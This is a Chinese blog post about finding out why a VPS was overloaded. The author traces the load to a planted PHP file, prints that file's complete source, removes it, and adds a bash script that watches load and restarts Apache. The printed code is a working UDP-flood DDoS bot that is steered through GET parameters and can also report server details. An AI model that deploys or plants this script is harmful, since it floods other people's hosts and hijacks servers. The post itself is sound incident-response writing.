服务器负荷超载处理-PHPDDOS

    近日,一个朋友的服务器响应非常慢,并且经常出现无法访问的情况,此时查看CPU,两核的VPS最疯狂的时候LOAD达到了将近100惊恐,通过W看,不是APACHE占用量最大,把服务器关掉恢复正常,重启一会儿又是这样;此时查看管理界面查看网络流量,每秒会有近10M的发送。刚开始以为是访问的用户增多导致的,通过NETSTAT查看80端口同时在线人数,也不多,就几十个,查看COOKIE LOG,增长的速度也不是太快,心想肯定是中招了。

    于时立即把iftop装上,通过iptop查看,其中有个IP显示流量超高,达到每秒7、8M,就是它了,它这个IP抓出来,到COOKIE LOG去GREP一下,终于找到了这个IP访问的页面,一看是一个陌生的页面,里面放的就是PHP-DDOS的攻击代码:   

<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET['rat'])<>0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Warning to: opening";
        exit;
    }

for($i=0;$i<$Sendlen;$i++){
        $out .= "A";
    }

$max_time = time()+$exec_time;
//提示: www.haoddos.com 是骗子 请谨慎。
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}

echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?> 

    立马把这个文件进行了转移,服务器的LOAD立马就下来了,访问也正常了。

    平时太大意了,以为是个人网站就没有太多的花时间在上面,查看文件创建时间,居然是去年11月份,也就是说这个文件已经存在了半年了,难怪当时连换几家服务器服务商都是用不了多久就访问变慢了,当时心理面还在埋怨这些服务商,哎,当时怎么就没有细查呢。

    后面准备先采用简单的处理方式,对CPU的LOAD进行监控,实现原理就是写一个SHELL,定时的去抓LOAD情况,然后网站目录下面的一个文件中,以便于随便可以查看,这样在出现问题的时候,能够比较早的知道。脚本很简单,就做了两件事情,获取LOAD以及在LOAD超标的时候,重启APACHE,也放在这里吧:

 

#!/bin/bash
currentDate=`date`
cpuload=`w|grep load|awk -F"," '{print $3}'|awk -F": " '{print $2}'`;
#if [ "$cpuload" -gt "3" ]; then
echo "$currentDate, Current load is :$cpuload<br>" >> /webdir/load.txt;
if [ `echo "$cpuload > 3" | bc` -eq 1 ]; then
        echo "cpuload is great than 3, then restart apache" >> /webdir/load.txt;
        /opt/lampp/lampp restartapache;
fi

本文出自:冯立彬的博客




   

   

你可能感兴趣的:(apache,Date,shell,server,服务器,FP)